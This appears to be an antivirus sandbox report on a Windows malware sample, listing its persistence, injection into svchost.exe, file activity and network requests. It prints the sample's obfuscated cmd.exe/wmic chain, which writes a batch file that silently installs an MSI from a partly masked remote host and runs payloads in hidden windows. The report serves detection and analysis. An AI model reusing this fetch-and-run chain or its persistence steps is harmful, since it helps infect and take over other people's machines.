Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\system cache service
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c echo|set /p="wmic process call create 'ms">%temp%\xkYuB.bat&echo|set /p="iexec /i http://ft####docgrp.com/backup.msi /q'" >> %temp%\xkYuB.bat&%temp%\xkYuB.bat>%temp%\xkYuB.txt
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\xkyub.bat
- %TEMP%\xkyub.txt
- %TEMP%\mw-3d02ff3c-d509-4f31-8f49-e18c84c27bf4\msiwrapper.ini
- %TEMP%\mw-3d02ff3c-d509-4f31-8f49-e18c84c27bf4\files.cab
- %TEMP%\mw-3d02ff3c-d509-4f31-8f49-e18c84c27bf4\files\$dpx$.tmp\d5b9c4a5ce16a34eb144c84d7afdcb26.tmp
- %APPDATA%\cashcore\bacmur.exe
- %APPDATA%\cashcore\settings.ini
- %WINDIR%\temp\cab536c.tmp
- %WINDIR%\temp\tar536d.tmp
- %WINDIR%\temp\cab539d.tmp
- %WINDIR%\temp\tar539e.tmp
Deletes the following files
- %TEMP%\mw-3d02ff3c-d509-4f31-8f49-e18c84c27bf4\files\backup.exe
- %TEMP%\mw-3d02ff3c-d509-4f31-8f49-e18c84c27bf4\msiwrapper.ini
- %TEMP%\mw-3d02ff3c-d509-4f31-8f49-e18c84c27bf4\files.cab
- %WINDIR%\temp\cab536c.tmp
- %WINDIR%\temp\tar536d.tmp
- %WINDIR%\temp\cab539d.tmp
- %WINDIR%\temp\tar539e.tmp
Moves the following files
- from %TEMP%\mw-3d02ff3c-d509-4f31-8f49-e18c84c27bf4\files\$dpx$.tmp\d5b9c4a5ce16a34eb144c84d7afdcb26.tmp to %TEMP%\mw-3d02ff3c-d509-4f31-8f49-e18c84c27bf4\files\backup.exe
Network activity
TCP
HTTP GET requests
- http://ft####docgrp.com/backup.msi
UDP
- DNS ASK ft####docgrp.com
Miscellaneous
Creates and executes the following
- '%TEMP%\mw-3d02ff3c-d509-4f31-8f49-e18c84c27bf4\files\backup.exe'
- '%APPDATA%\cashcore\bacmur.exe'
- '<SYSTEM32>\cmd.exe' /c echo|set /p="wmic process call create 'ms">%temp%\xkYuB.bat&echo|set /p="iexec /i http://ft####docgrp.com/backup.msi /q'" >> %temp%\xkYuB.bat&%temp%\xkYuB.bat>%temp%\xkYuB.txt' (with hidden window)
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files' (with hidden window)
- '<SYSTEM32>\svchost.exe' ' (with hidden window)
- '%APPDATA%\cashcore\bacmur.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /S /D /c" echo"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="wmic process call create 'ms" 1>%TEMP%\xkYuB.bat"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="iexec /i http://ft####docgrp.com/backup.msi /q'" 1>>%TEMP%\xkYuB.bat"
- '<SYSTEM32>\wbem\wmic.exe' process call create 'msiexec /i http://ft####docgrp.com/backup.msi /q'
- '<SYSTEM32>\msiexec.exe' /i http://ft####docgrp.com/backup.msi /q
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files
- '<SYSTEM32>\svchost.exe'
- '%WINDIR%\syswow64\cmd.exe' /c rd /s /q "%TEMP%\MW-3d02ff3c-d509-4f31-8f49-e18c84c27bf4\files"
